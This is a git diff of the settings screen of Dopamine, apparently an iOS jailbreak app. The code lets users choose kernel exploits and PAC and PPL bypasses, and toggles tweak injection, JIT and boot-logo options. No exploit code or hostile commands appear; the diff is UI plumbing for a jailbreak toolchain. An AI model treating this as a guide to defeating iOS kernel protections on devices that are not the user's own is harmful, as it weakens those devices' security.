(void)viewDidLayoutSubviews { - [super viewDidLayoutSubviews]; - _table.frame = CGRectMake(12, 5, self.view.bounds.size.width - 24, self.view.bounds.size.height - 10); -} - -#pragma mark - Status Bar - -- (UIStatusBarStyle)preferredStatusBarStyle -{ - return UIStatusBarStyleLightContent; -} - - -@end diff --git a/Application/Dopamine/UI/Settings/DOSettingsController.h b/Application/Dopamine/UI/Settings/DOSettingsController.h index ca2b499d54..4c77cf7185 100644 --- a/Application/Dopamine/UI/Settings/DOSettingsController.h +++ b/Application/Dopamine/UI/Settings/DOSettingsController.h @@ -6,13 +6,24 @@ // #import +#import #import #import #import "DOPSListController.h" +#import "DOExploit.h" NS_ASSUME_NONNULL_BEGIN -@interface DOSettingsController : DOPSListController +@interface DOSettingsController : DOPSListController +{ + NSArray *_availableKernelExploits; + NSArray *_availablePACBypasses; + NSArray *_availablePPLBypasses; + NSString *_lastKnownTheme; + + PSSpecifier *_customBootlogoEnabledSpecifier; + PSSpecifier *_customBootlogoSpecifier; +} @end diff --git a/Application/Dopamine/UI/Settings/DOSettingsController.m b/Application/Dopamine/UI/Settings/DOSettingsController.m index 267bdb9c59..e7f24572ad 100644 --- a/Application/Dopamine/UI/Settings/DOSettingsController.m +++ b/Application/Dopamine/UI/Settings/DOSettingsController.m @@ -7,6 +7,19 @@ #import "DOSettingsController.h" #import +#import +#import +#import "DOUIManager.h" +#import "DOPkgManagerPickerViewController.h" +#import "DOHeaderCell.h" +#import "DOEnvironmentManager.h" +#import "DOExploitManager.h" +#import "DOPSListItemsController.h" +#import "DOPSExploitListItemsController.h" +#import "DOThemeManager.h" +#import "DOSceneDelegate.h" +#import "DOPSJetsamListItemsController.h" +#import "DOButtonCell.h" @interface DOSettingsController () @@ -14,29 +27,712 @@ @interface DOSettingsController () @implementation DOSettingsController -- (void)viewDidLoad { +- (void)viewDidLoad +{ + _lastKnownTheme = [[DOThemeManager sharedInstance] enabledTheme].key; [super viewDidLoad]; } -- (id)specifiers { +- (void)viewWillAppear:(BOOL)arg1 +{ + [super viewWillAppear:arg1]; + if (_lastKnownTheme != [[DOThemeManager sharedInstance] enabledTheme].key) + { + [DOSceneDelegate relaunch]; + NSString *icon = [[DOThemeManager sharedInstance] enabledTheme].icon; + [[UIApplication sharedApplication] setAlternateIconName:icon completionHandler:^(NSError * _Nullable error) { + if (error) + NSLog(@"Error changing app icon: %@", error); + }]; + + if ([DOEnvironmentManager sharedManager].isJailbroken) { + dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ + [[DOEnvironmentManager sharedManager] updateBootLogo]; + }); + } + } +} + +- (NSArray *)availableKernelExploitIdentifiers +{ + NSMutableArray *identifiers = [NSMutableArray new]; + for (DOExploit *exploit in _availableKernelExploits) { + [identifiers addObject:exploit.identifier]; + } + return identifiers; +} + +- (NSArray *)availableKernelExploitNames +{ + NSMutableArray *names = [NSMutableArray new]; + for (DOExploit *exploit in _availableKernelExploits) { + [names addObject:exploit.name]; + } + return names; +} + +- (NSArray *)availablePACBypassIdentifiers +{ + NSMutableArray *identifiers = [NSMutableArray new]; + if (![DOEnvironmentManager sharedManager].isPACBypassRequired) { + [identifiers addObject:@"none"]; + } + for (DOExploit *exploit in _availablePACBypasses) { + [identifiers addObject:exploit.identifier]; + } + return identifiers; +} + +- (NSArray *)availablePACBypassNames +{ + NSMutableArray *names = [NSMutableArray new]; + if (![DOEnvironmentManager sharedManager].isPACBypassRequired) { + [names addObject:DOLocalizedString(@"None")]; + } + for (DOExploit *exploit in _availablePACBypasses) { + [names addObject:exploit.name]; + } + return names; +} + +- (NSArray *)availablePPLBypassIdentifiers +{ + NSMutableArray *identifiers = [NSMutableArray new]; + for (DOExploit *exploit in _availablePPLBypasses) { + [identifiers addObject:exploit.identifier]; + } + return identifiers; +} + +- (NSArray *)availablePPLBypassNames +{ + NSMutableArray *names = [NSMutableArray new]; + for (DOExploit *exploit in _availablePPLBypasses) { + [names addObject:exploit.name]; + } + return names; +} + +- (NSArray *)themeIdentifiers +{ + return [[DOThemeManager sharedInstance] getAvailableThemeKeys]; +} + +- (NSArray *)themeNames +{ + return [[DOThemeManager sharedInstance] getAvailableThemeNames]; +} + +- (NSArray *)jetsamOptionNumbers +{ + return @[ + @2, + @3, + @4, + @5, + @6, + @7, + @8, + ]; +} + +- (NSArray *)jetsamOptionTitles +{ + return @[ + @"1x", + @"1.5x", + @"2x", + @"2.5x", + [NSString stringWithFormat:@"3x (%@)", DOLocalizedString(@"Recommended")], + @"3.5x", + @"4x", + ]; +} + +- (id)specifiers +{ if(_specifiers == nil) { - _specifiers = [self loadSpecifiersFromPlistName:@"Settings" target:self]; + NSMutableArray *specifiers = [NSMutableArray new]; + DOEnvironmentManager *envManager = [DOEnvironmentManager sharedManager]; + DOExploitManager *exploitManager = [DOExploitManager sharedManager]; + + NSNumber *buttonHeight = @(44); + + SEL defGetter = @selector(readPreferenceValue:); + SEL defSetter = @selector(setPreferenceValue:specifier:); + SEL expGetter = @selector(readExploitPreferenceValue:); + + NSSortDescriptor *prioritySortDescriptor = [NSSortDescriptor sortDescriptorWithKey:@"priority" ascending:NO]; + + _availableKernelExploits = [[exploitManager availableExploitsForType:EXPLOIT_TYPE_KERNEL] sortedArrayUsingDescriptors:@[prioritySortDescriptor]]; + if (envManager.isArm64e) { + _availablePACBypasses = [[exploitManager availableExploitsForType:EXPLOIT_TYPE_PAC] sortedArrayUsingDescriptors:@[prioritySortDescriptor]]; + _availablePPLBypasses = [[exploitManager availableExploitsForType:EXPLOIT_TYPE_PPL] sortedArrayUsingDescriptors:@[prioritySortDescriptor]]; + } + + PSSpecifier *headerSpecifier = [PSSpecifier emptyGroupSpecifier]; + [headerSpecifier setProperty:@"DOHeaderCell" forKey:@"headerCellClass"]; + [headerSpecifier setProperty:[NSString stringWithFormat:@"Settings"] forKey:@"title"]; + [specifiers addObject:headerSpecifier]; + + if (envManager.isSupported) { + if (!envManager.isJailbroken) { + PSSpecifier *exploitGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; + exploitGroupSpecifier.name = DOLocalizedString(@"Section_Exploits"); + [specifiers addObject:exploitGroupSpecifier]; + + PSSpecifier *kernelExploitSpecifier = [PSSpecifier preferenceSpecifierNamed:DOLocalizedString(@"Kernel Exploit") target:self set:defSetter get:expGetter detail:nil cell:PSLinkListCell edit:nil]; + [kernelExploitSpecifier setProperty:@YES forKey:@"enabled"]; + [kernelExploitSpecifier setProperty:exploitManager.preferredKernelExploit.identifier forKey:@"default"]; + kernelExploitSpecifier.detailControllerClass = [DOPSExploitListItemsController class]; + [kernelExploitSpecifier setProperty:@"availableKernelExploitIdentifiers" forKey:@"valuesDataSource"]; + [kernelExploitSpecifier setProperty:@"availableKernelExploitNames" forKey:@"titlesDataSource"]; + [kernelExploitSpecifier setProperty:@"selectedKernelExploit" forKey:@"key"]; + [kernelExploitSpecifier setProperty:(_availableKernelExploits.firstObject.identifier ?: @"none") forKey:@"recommendedExploitIdentifier"]; + [specifiers addObject:kernelExploitSpecifier]; + + if (envManager.isArm64e) { + PSSpecifier *pacBypassSpecifier = [PSSpecifier preferenceSpecifierNamed:DOLocalizedString(@"PAC Bypass") target:self set:defSetter get:expGetter detail:nil cell:PSLinkListCell edit:nil]; + [pacBypassSpecifier setProperty:@YES forKey:@"enabled"]; + DOExploit *preferredPACBypass = exploitManager.preferredPACBypass; + if (!preferredPACBypass) { + [pacBypassSpecifier setProperty:@"none" forKey:@"default"]; + } + else { + [pacBypassSpecifier setProperty:preferredPACBypass.identifier forKey:@"default"]; + } + pacBypassSpecifier.detailControllerClass = [DOPSExploitListItemsController class]; + [pacBypassSpecifier setProperty:@"availablePACBypassIdentifiers" forKey:@"valuesDataSource"]; + [pacBypassSpecifier setProperty:@"availablePACBypassNames" forKey:@"titlesDataSource"]; + [pacBypassSpecifier setProperty:@"selectedPACBypass" forKey:@"key"]; + [pacBypassSpecifier setProperty:([envManager isPACBypassRequired] ? _availablePACBypasses.firstObject.identifier : @"none") forKey:@"recommendedExploitIdentifier"]; + [specifiers addObject:pacBypassSpecifier]; + + PSSpecifier *pplBypassSpecifier = [PSSpecifier preferenceSpecifierNamed:DOLocalizedString(@"PPL Bypass") target:self set:defSetter get:expGetter detail:nil cell:PSLinkListCell edit:nil]; + [pplBypassSpecifier setProperty:@YES forKey:@"enabled"]; + [pplBypassSpecifier setProperty:exploitManager.preferredPPLBypass.identifier forKey:@"default"]; + pplBypassSpecifier.detailControllerClass = [DOPSExploitListItemsController class]; + [pplBypassSpecifier setProperty:@"availablePPLBypassIdentifiers" forKey:@"valuesDataSource"]; + [pplBypassSpecifier setProperty:@"availablePPLBypassNames" forKey:@"titlesDataSource"]; + [pplBypassSpecifier setProperty:@"selectedPPLBypass" forKey:@"key"]; + [pplBypassSpecifier setProperty:(_availablePPLBypasses.firstObject.identifier ?: @"none") forKey:@"recommendedExploitIdentifier"]; + [specifiers addObject:pplBypassSpecifier]; + } + } + + PSSpecifier *settingsGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; + settingsGroupSpecifier.name = DOLocalizedString(@"Section_Jailbreak_Settings"); + [specifiers addObject:settingsGroupSpecifier]; + + PSSpecifier *tweakInjectionSpecifier = [PSSpecifier preferenceSpecifierNamed:DOLocalizedString(@"Settings_Tweak_Injection") target:self set:@selector(setTweakInjectionEnabled:specifier:) get:@selector(readTweakInjectionEnabled:) detail:nil cell:PSSwitchCell edit:nil]; + [tweakInjectionSpecifier setProperty:@YES forKey:@"enabled"]; + [tweakInjectionSpecifier setProperty:@"tweakInjectionEnabled" forKey:@"key"]; + [tweakInjectionSpecifier setProperty:@YES forKey:@"default"]; + [specifiers addObject:tweakInjectionSpecifier]; + + if (!envManager.isJailbroken) { + PSSpecifier *verboseLogSpecifier = [PSSpecifier preferenceSpecifierNamed:DOLocalizedString(@"Settings_Verbose_Logs") target:self set:defSetter get:defGetter detail:nil cell:PSSwitchCell edit:nil]; + [verboseLogSpecifier setProperty:@YES forKey:@"enabled"]; + [verboseLogSpecifier setProperty:@"verboseLogsEnabled" forKey:@"key"]; + [verboseLogSpecifier setProperty:@NO forKey:@"default"]; + [specifiers addObject:verboseLogSpecifier]; + } + + PSSpecifier *idownloadSpecifier = [PSSpecifier preferenceSpecifierNamed:DOLocalizedString(@"Settings_iDownload") target:self set:@selector(setIDownloadEnabled:specifier:) get:@selector(readIDownloadEnabled:) detail:nil cell:PSSwitchCell edit:nil]; + [idownloadSpecifier setProperty:@YES forKey:@"enabled"]; + [idownloadSpecifier setProperty:@"idownloadEnabled" forKey:@"key"]; + [idownloadSpecifier setProperty:@NO forKey:@"default"]; + [specifiers addObject:idownloadSpecifier]; + + PSSpecifier *appJitSpecifier = [PSSpecifier preferenceSpecifierNamed:DOLocalizedString(@"Settings_Apps_JIT") target:self set:@selector(setAppJITEnabled:specifier:) get:@selector(readAppJITEnabled:) detail:nil cell:PSSwitchCell edit:nil]; + [appJitSpecifier setProperty:@YES forKey:@"enabled"]; + [appJitSpecifier setProperty:@"appJITEnabled" forKey:@"key"]; + [appJitSpecifier setProperty:@YES forKey:@"default"]; + [specifiers addObject:appJitSpecifier]; + + PSSpecifier *jetsamSpecifier = [PSSpecifier preferenceSpecifierNamed:DOLocalizedString(@"Settings_Jetsam_Multiplier") target:self set:@selector(setJetsamMultiplier:specifier:) get:@selector(readJetsamMultiplier:) detail:nil cell:PSLinkListCell edit:nil]; + [jetsamSpecifier setProperty:@YES forKey:@"enabled"]; + [jetsamSpecifier setProperty:@"jetsamMultiplier" forKey:@"key"]; + [jetsamSpecifier setProperty:@6 forKey:@"default"]; + jetsamSpecifier.detailControllerClass = [DOPSJetsamListItemsController class]; + [jetsamSpecifier setProperty:@"jetsamOptionNumbers" forKey:@"valuesDataSource"]; + [jetsamSpecifier setProperty:@"jetsamOptionTitles" forKey:@"titlesDataSource"]; + [specifiers addObject:jetsamSpecifier]; + + if (!envManager.isJailbroken && !envManager.isInstalledThroughTrollStore) { + PSSpecifier *removeJailbreakSwitchSpecifier = [PSSpecifier preferenceSpecifierNamed:DOLocalizedString(@"Button_Remove_Jailbreak") target:self set:@selector(setRemoveJailbreakEnabled:specifier:) get:defGetter detail:nil cell:PSSwitchCell edit:nil]; + [removeJailbreakSwitchSpecifier setProperty:@YES forKey:@"enabled"]; + [removeJailbreakSwitchSpecifier setProperty:@"removeJailbreakEnabled" forKey:@"key"]; + [specifiers addObject:removeJailbreakSwitchSpecifier]; + } + + if (envManager.isJailbroken || (envManager.isInstalledThroughTrollStore && envManager.isBootstrapped)) { + PSSpecifier *actionsGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; + actionsGroupSpecifier.name = DOLocalizedString(@"Section_Actions"); + [specifiers addObject:actionsGroupSpecifier]; + + if (envManager.isJailbroken) { + PSSpecifier *refreshAppsSpecifier = [PSSpecifier preferenceSpecifierNamed:@"" target:self set:defSetter get:defGetter detail:nil cell:PSStaticTextCell edit:nil]; + [refreshAppsSpecifier setProperty:@"Button_Refresh_Jailbreak_Apps" forKey:@"title"]; + [refreshAppsSpecifier setProperty:[DOButtonCell class] forKey:@"cellClass"]; + [refreshAppsSpecifier setProperty:buttonHeight forKey:@"height"]; + [refreshAppsSpecifier setProperty:@"arrow.triangle.2.circlepath" forKey:@"image"]; + [refreshAppsSpecifier setProperty:@"refreshJailbreakAppsPressed" forKey:@"action"]; + [specifiers addObject:refreshAppsSpecifier]; + + PSSpecifier *changeMobilePasswordSpecifier = [PSSpecifier preferenceSpecifierNamed:@"" target:self set:defSetter get:defGetter detail:nil cell:PSStaticTextCell edit:nil]; + [changeMobilePasswordSpecifier setProperty:@"Button_Change_Mobile_Password" forKey:@"title"]; + [changeMobilePasswordSpecifier setProperty:[DOButtonCell class] forKey:@"cellClass"]; + [changeMobilePasswordSpecifier setProperty:buttonHeight forKey:@"height"]; + [changeMobilePasswordSpecifier setProperty:@"key" forKey:@"image"]; + [changeMobilePasswordSpecifier setProperty:@"changeMobilePasswordWithAuthenticationPressed" forKey:@"action"]; + [specifiers addObject:changeMobilePasswordSpecifier]; + + PSSpecifier *reinstallPackageManagersSpecifier = [PSSpecifier preferenceSpecifierNamed:@"" target:self set:defSetter get:defGetter detail:nil cell:PSStaticTextCell edit:nil]; + [reinstallPackageManagersSpecifier setProperty:@"Button_Reinstall_Package_Managers" forKey:@"title"]; + [reinstallPackageManagersSpecifier setProperty:[DOButtonCell class] forKey:@"cellClass"]; + [reinstallPackageManagersSpecifier setProperty:buttonHeight forKey:@"height"]; + if (@available(iOS 16.0, *)) + [reinstallPackageManagersSpecifier setProperty:@"shippingbox.and.arrow.backward" forKey:@"image"]; + else + [reinstallPackageManagersSpecifier setProperty:@"shippingbox" forKey:@"image"]; + [reinstallPackageManagersSpecifier setProperty:@"reinstallPackageManagersPressed" forKey:@"action"]; + [specifiers addObject:reinstallPackageManagersSpecifier]; + } + if ((envManager.isJailbroken || envManager.isInstalledThroughTrollStore) && envManager.isBootstrapped) { + PSSpecifier *hideUnhideJailbreakSpecifier = [PSSpecifier preferenceSpecifierNamed:@"" target:self set:defSetter get:defGetter detail:nil cell:PSStaticTextCell edit:nil]; + [hideUnhideJailbreakSpecifier setProperty:[DOButtonCell class] forKey:@"cellClass"]; + [hideUnhideJailbreakSpecifier setProperty:buttonHeight forKey:@"height"]; + if (envManager.isJailbreakHidden) { + [hideUnhideJailbreakSpecifier setProperty:@"Button_Unhide_Jailbreak" forKey:@"title"]; + [hideUnhideJailbreakSpecifier setProperty:@"eye" forKey:@"image"]; + } + else { + [hideUnhideJailbreakSpecifier setProperty:@"Button_Hide_Jailbreak" forKey:@"title"]; + [hideUnhideJailbreakSpecifier setProperty:@"eye.slash" forKey:@"image"]; + } + [hideUnhideJailbreakSpecifier setProperty:@"hideUnhideJailbreakPressed" forKey:@"action"]; + BOOL hideJailbreakButtonShown = (envManager.isJailbroken || (envManager.isInstalledThroughTrollStore && envManager.isBootstrapped && !envManager.isJailbreakHidden)); + if (hideJailbreakButtonShown) { + [specifiers addObject:hideUnhideJailbreakSpecifier]; + } + + PSSpecifier *removeJailbreakSpecifier = [PSSpecifier preferenceSpecifierNamed:@"" target:self set:defSetter get:defGetter detail:nil cell:PSStaticTextCell edit:nil]; + [removeJailbreakSpecifier setProperty:@"Button_Remove_Jailbreak" forKey:@"title"]; + [removeJailbreakSpecifier setProperty:[DOButtonCell class] forKey:@"cellClass"]; + [removeJailbreakSpecifier setProperty:buttonHeight forKey:@"height"]; + [removeJailbreakSpecifier setProperty:@"trash" forKey:@"image"]; + [removeJailbreakSpecifier setProperty:@"removeJailbreakPressed" forKey:@"action"]; + if (hideJailbreakButtonShown) { + if (envManager.isJailbroken) { + [removeJailbreakSpecifier setProperty:DOLocalizedString(@"Hint_Hide_Jailbreak_Jailbroken") forKey:@"footerText"]; + } + else { + [removeJailbreakSpecifier setProperty:DOLocalizedString(@"Hint_Hide_Jailbreak") forKey:@"footerText"]; + } + } + [specifiers addObject:removeJailbreakSpecifier]; + } + } + } + + PSSpecifier *themingGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; + themingGroupSpecifier.name = DOLocalizedString(@"Section_Customization"); + [specifiers addObject:themingGroupSpecifier]; + + PSSpecifier *themeSpecifier = [PSSpecifier preferenceSpecifierNamed:DOLocalizedString(@"Theme") target:self set:defSetter get:defGetter detail:nil cell:PSLinkListCell edit:nil]; + themeSpecifier.detailControllerClass = [DOPSListItemsController class]; + [themeSpecifier setProperty:@YES forKey:@"enabled"]; + [themeSpecifier setProperty:@"theme" forKey:@"key"]; + [themeSpecifier setProperty:[[self themeIdentifiers] firstObject] forKey:@"default"]; + [themeSpecifier setProperty:@"themeIdentifiers" forKey:@"valuesDataSource"]; + [themeSpecifier setProperty:@"themeNames" forKey:@"titlesDataSource"]; + [specifiers addObject:themeSpecifier]; + + PSSpecifier *bootlogoGropSpecifier = [PSSpecifier emptyGroupSpecifier]; + bootlogoGropSpecifier.name = DOLocalizedString(@"Section_Boot_Logo"); + [specifiers addObject:bootlogoGropSpecifier]; + + PSSpecifier *bootlogoEnabledSpecifier = [PSSpecifier preferenceSpecifierNamed:DOLocalizedString(@"Enabled") target:self set:@selector(setBootlogoEnabled:specifier:) get:defGetter detail:nil cell:PSSwitchCell edit:nil]; + [bootlogoEnabledSpecifier setProperty:@YES forKey:@"enabled"]; + [bootlogoEnabledSpecifier setProperty:@"bootlogoEnabled" forKey:@"key"]; + [bootlogoEnabledSpecifier setProperty:@YES forKey:@"default"]; + bootlogoEnabledSpecifier.identifier = @"bootlogoEnabled"; + [specifiers addObject:bootlogoEnabledSpecifier]; + + _customBootlogoEnabledSpecifier = [PSSpecifier preferenceSpecifierNamed:DOLocalizedString(@"Custom_Boot_Logo") target:self set:@selector(setCustomBootlogoEnabled:specifier:) get:defGetter detail:nil cell:PSSwitchCell edit:nil]; + [_customBootlogoEnabledSpecifier setProperty:@YES forKey:@"enabled"]; + [_customBootlogoEnabledSpecifier setProperty:@"customBootlogoEnabled" forKey:@"key"]; + [_customBootlogoEnabledSpecifier setProperty:@NO forKey:@"default"]; + _customBootlogoEnabledSpecifier.identifier = @"customBootlogoEnabled"; + + _customBootlogoSpecifier = [PSSpecifier preferenceSpecifierNamed:DOLocalizedString(@"Select_Image") target:self set:defSetter get:defGetter detail:nil cell:PSButtonCell edit:nil]; + _customBootlogoSpecifier.buttonAction = @selector(selectCustomBootlogoPressed); + [_customBootlogoSpecifier setProperty:@YES forKey:@"enabled"]; + [_customBootlogoSpecifier setProperty:@"customBootlogo" forKey:@"key"]; + _customBootlogoSpecifier.identifier = @"customBootlogo"; + + if ([[DOPreferenceManager sharedManager] boolPreferenceValueForKey:@"bootlogoEnabled" fallback:YES]) { + [specifiers addObject:_customBootlogoEnabledSpecifier]; + + if ([[DOPreferenceManager sharedManager] boolPreferenceValueForKey:@"customBootlogoEnabled" fallback:NO]) { + [specifiers addObject:_customBootlogoSpecifier]; + } + } + + _specifiers = specifiers; } return _specifiers; } +#pragma mark - Getters & Setters + +- (void)setPreferenceValue:(id)value specifier:(PSSpecifier *)specifier +{ + NSString *key = [specifier propertyForKey:@"key"]; + [[DOPreferenceManager sharedManager] setPreferenceValue:value forKey:key]; +} + +- (id)readPreferenceValue:(PSSpecifier*)specifier +{ + NSString *key = [specifier propertyForKey:@"key"]; + id value = [[DOPreferenceManager sharedManager] preferenceValueForKey:key]; + if (!value) { + return [specifier propertyForKey:@"default"]; + } + return value; +} + +- (id)readExploitPreferenceValue:(PSSpecifier *)specifier +{ + id value = [self readPreferenceValue:specifier]; + + SEL dataSourceSel = nil; + NSString *selString = [specifier propertyForKey:@"valuesDataSource"]; + if (selString) { + dataSourceSel = NSSelectorFromString(selString); + } + + if (dataSourceSel && [value isKindOfClass:[NSString class]]) { + NSString *valueString = (NSString *)value; + + IMP imp = [specifier.target methodForSelector:dataSourceSel]; + if (imp) { + NSArray *(*func)(id, SEL) = (void *)imp; + NSArray *availableIdentifiers = func(specifier.target, dataSourceSel); + if (![availableIdentifiers containsObject:valueString]) { + return [specifier propertyForKey:@"default"]; + } + } + } + + return value; +} + +- (id)readIDownloadEnabled:(PSSpecifier *)specifier +{ + DOEnvironmentManager *envManager = [DOEnvironmentManager sharedManager]; + if (envManager.isJailbroken) { + return @([DOEnvironmentManager sharedManager].isIDownloadEnabled); + } + return [self readPreferenceValue:specifier]; +} + +- (void)setIDownloadEnabled:(id)value specifier:(PSSpecifier *)specifier +{ + [self setPreferenceValue:value specifier:specifier]; + DOEnvironmentManager *envManager = [DOEnvironmentManager sharedManager]; + if (envManager.isJailbroken) { + [[DOEnvironmentManager sharedManager] setIDownloadLoaded:((NSNumber *)value).boolValue needsUnsandbox:YES]; + } +} + +- (id)readTweakInjectionEnabled:(PSSpecifier *)specifier +{ + DOEnvironmentManager *envManager = [DOEnvironmentManager sharedManager]; + if (envManager.isJailbroken) { + return @([DOEnvironmentManager sharedManager].isTweakInjectionEnabled); + } + return [self readPreferenceValue:specifier]; +} + +- (void)setTweakInjectionEnabled:(id)value specifier:(PSSpecifier *)specifier +{ + [self setPreferenceValue:value specifier:specifier]; + DOEnvironmentManager *envManager = [DOEnvironmentManager sharedManager]; + if (envManager.isJailbroken) { + [[DOEnvironmentManager sharedManager] setTweakInjectionEnabled:((NSNumber *)value).boolValue]; + UIAlertController *userspaceRebootAlertController = [UIAlertController alertControllerWithTitle:DOLocalizedString(@"Alert_Tweak_Injection_Toggled_Title") message:DOLocalizedString(@"Alert_Tweak_Injection_Toggled_Body") preferredStyle:UIAlertControllerStyleAlert]; + UIAlertAction *rebootNowAction = [UIAlertAction actionWithTitle:DOLocalizedString(@"Alert_Tweak_Injection_Toggled_Reboot_Now") style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) { + [[DOEnvironmentManager sharedManager] rebootUserspace]; + }]; + UIAlertAction *rebootLaterAction = [UIAlertAction actionWithTitle:DOLocalizedString(@"Alert_Tweak_Injection_Toggled_Reboot_Later") style:UIAlertActionStyleCancel handler:nil]; + + [userspaceRebootAlertController addAction:rebootNowAction]; + [userspaceRebootAlertController addAction:rebootLaterAction]; + [self presentViewController:userspaceRebootAlertController animated:YES completion:nil]; + } +} + +- (id)readAppJITEnabled:(PSSpecifier *)specifier +{ + DOEnvironmentManager *envManager = [DOEnvironmentManager sharedManager]; + if (envManager.isJailbroken) { + bool v = jbclient_jbsettings_get_bool("markAppsAsDebugged"); + return @(v); + } + return [self readPreferenceValue:specifier]; +} + +- (void)setAppJITEnabled:(id)value specifier:(PSSpecifier *)specifier +{ + [self setPreferenceValue:value specifier:specifier]; + DOEnvironmentManager *envManager = [DOEnvironmentManager sharedManager]; + if (envManager.isJailbroken) { + jbclient_platform_jbsettings_set_bool("markAppsAsDebugged", ((NSNumber *)value).boolValue); + } +} + +- (id)readJetsamMultiplier:(PSSpecifier *)specifier +{ + DOEnvironmentManager *envManager = [DOEnvironmentManager sharedManager]; + if (envManager.isJailbroken) { + double v = jbclient_jbsettings_get_double("jetsamMultiplier"); + return @((v < 1 || isnan(v)) ? 6 : ceil(v * 2)); + } + return [self readPreferenceValue:specifier]; +} + +- (void)setJetsamMultiplier:(id)value specifier:(PSSpecifier *)specifier +{ + [self setPreferenceValue:value specifier:specifier]; + DOEnvironmentManager *envManager = [DOEnvironmentManager sharedManager]; + if (envManager.isJailbroken) { + jbclient_platform_jbsettings_set_double("jetsamMultiplier", ((NSNumber *)value).doubleValue / 2); + } +} + +- (void)setRemoveJailbreakEnabled:(id)value specifier:(PSSpecifier *)specifier +{ + [self setPreferenceValue:value specifier:specifier]; + if (((NSNumber *)value).boolValue) { + UIAlertController *confirmationAlertController = [UIAlertController alertControllerWithTitle:DOLocalizedString(@"Alert_Remove_Jailbreak_Title") message:DOLocalizedString(@"Alert_Remove_Jailbreak_Enabled_Body") preferredStyle:UIAlertControllerStyleAlert]; + UIAlertAction *uninstallAction = [UIAlertAction actionWithTitle:DOLocalizedString(@"Button_Continue") style:UIAlertActionStyleDestructive handler:nil]; + UIAlertAction *cancelAction = [UIAlertAction actionWithTitle:DOLocalizedString(@"Button_Cancel") style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) { + [self setPreferenceValue:@NO specifier:specifier]; + [self reloadSpecifiers]; + }]; + [confirmationAlertController addAction:uninstallAction]; + [confirmationAlertController addAction:cancelAction]; + [self presentViewController:confirmationAlertController animated:YES completion:nil]; + } +} + +- (void)setBootlogoEnabled:(id)value specifier:(PSSpecifier *)specifier +{ + bool prevValueBool = ((NSNumber *)[self readPreferenceValue:specifier]).boolValue; + [self setPreferenceValue:value specifier:specifier]; + bool valueBool = ((NSNumber *)value).boolValue; + + if (prevValueBool != valueBool) { + NSMutableArray *affectedSpecifiers = [NSMutableArray new]; + [affectedSpecifiers addObject:_customBootlogoEnabledSpecifier]; + + if (valueBool == ![self containsSpecifier:_customBootlogoSpecifier]) { + [affectedSpecifiers addObject:_customBootlogoSpecifier]; + } + + if (valueBool) { + [self insertContiguousSpecifiers:affectedSpecifiers afterSpecifier:specifier animated:YES]; + } + else { + [self removeContiguousSpecifiers:affectedSpecifiers animated:YES]; + } + } + + if ([DOEnvironmentManager sharedManager].isJailbroken) { + dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ + [[DOEnvironmentManager sharedManager] updateBootLogo]; + }); + } +} + +- (void)setCustomBootlogoEnabled:(id)value specifier:(PSSpecifier *)specifier +{ + bool prevValueBool = ((NSNumber *)[self readPreferenceValue:specifier]).boolValue; + [self setPreferenceValue:value specifier:specifier]; + bool valueBool = ((NSNumber *)value).boolValue; + + if (prevValueBool != valueBool) { + if (valueBool) { + [self insertSpecifier:_customBootlogoSpecifier afterSpecifier:specifier animated:YES]; + } + else { + [self removeSpecifier:_customBootlogoSpecifier animated:YES]; + } + } + + if ([DOEnvironmentManager sharedManager].isJailbroken) { + dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ + [[DOEnvironmentManager sharedManager] updateBootLogo]; + }); + } +} + +- (void)selectCustomBootlogoPressed +{ + PHAuthorizationStatus status = [PHPhotoLibrary authorizationStatus]; + if (status == PHAuthorizationStatusDenied || status == PHAuthorizationStatusRestricted) { + return; + } else if (status == PHAuthorizationStatusNotDetermined) { + [PHPhotoLibrary requestAuthorization:^(PHAuthorizationStatus status) { + if (status == PHAuthorizationStatusAuthorized) { + dispatch_async(dispatch_get_main_queue(), ^{ + [self selectCustomBootlogoPressed]; + }); + } + }]; + return; + } + + UIImagePickerController *picker = [[UIImagePickerController alloc] init]; + picker.delegate = self; + picker.sourceType = UIImagePickerControllerSourceTypePhotoLibrary; + [self presentViewController:picker animated:YES completion:nil]; +} + +#pragma mark - Boot Logo Picker + +- (void)imagePickerController:(UIImagePickerController *)picker didFinishPickingMediaWithInfo:(NSDictionary *)info { + UIImage *chosenImage = info[UIImagePickerControllerEditedImage]; + if (!chosenImage) { + chosenImage = info[UIImagePickerControllerOriginalImage]; + } + + // Force correct the orientation + // For some reason without rerendering the image, the stored file will have a wrong orientation for photos taken with the camera‚ + UIGraphicsBeginImageContextWithOptions(chosenImage.size, NO, 1.0); + [chosenImage drawInRect:CGRectMake(0,0, chosenImage.size.width, chosenImage.size.height)]; + chosenImage = UIGraphicsGetImageFromCurrentImageContext(); + UIGraphicsEndImageContext(); + + [UIImagePNGRepresentation(chosenImage) writeToFile:[DOUIManager sharedInstance].bootlogoPath atomically:YES]; + + if ([DOEnvironmentManager sharedManager].isJailbroken) { + dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ + [[DOEnvironmentManager sharedManager] updateBootLogo]; + }); + } + + [picker dismissViewControllerAnimated:YES completion:nil]; +} + +- (void)imagePickerControllerDidCancel:(UIImagePickerController *)picker { + [picker dismissViewControllerAnimated:YES completion:nil]; +} + #pragma mark - Button Actions --(void)hideJailbreak +- (void)refreshJailbreakAppsPressed +{ + [[DOEnvironmentManager sharedManager] refreshJailbreakApps]; +} + +- (void)reinstallPackageManagersPressed { - //TODO - NSLog(@"Hide Jailbreak"); + [self.navigationController pushViewController:[[DOPkgManagerPickerViewController alloc] init] animated:YES]; } --(void)removeJailbreak +- (void)changeMobilePasswordWithAuthenticationPressed { - //TODO - NSLog(@"Remove Jailbreak"); + LAContext *context = [[LAContext alloc] init]; + NSError *authError = nil; + NSString *reason = DOLocalizedString(@"Password_Auth_Required"); + + if ([context canEvaluatePolicy:LAPolicyDeviceOwnerAuthentication error:&authError]) { + [context evaluatePolicy:LAPolicyDeviceOwnerAuthentication + localizedReason:reason + 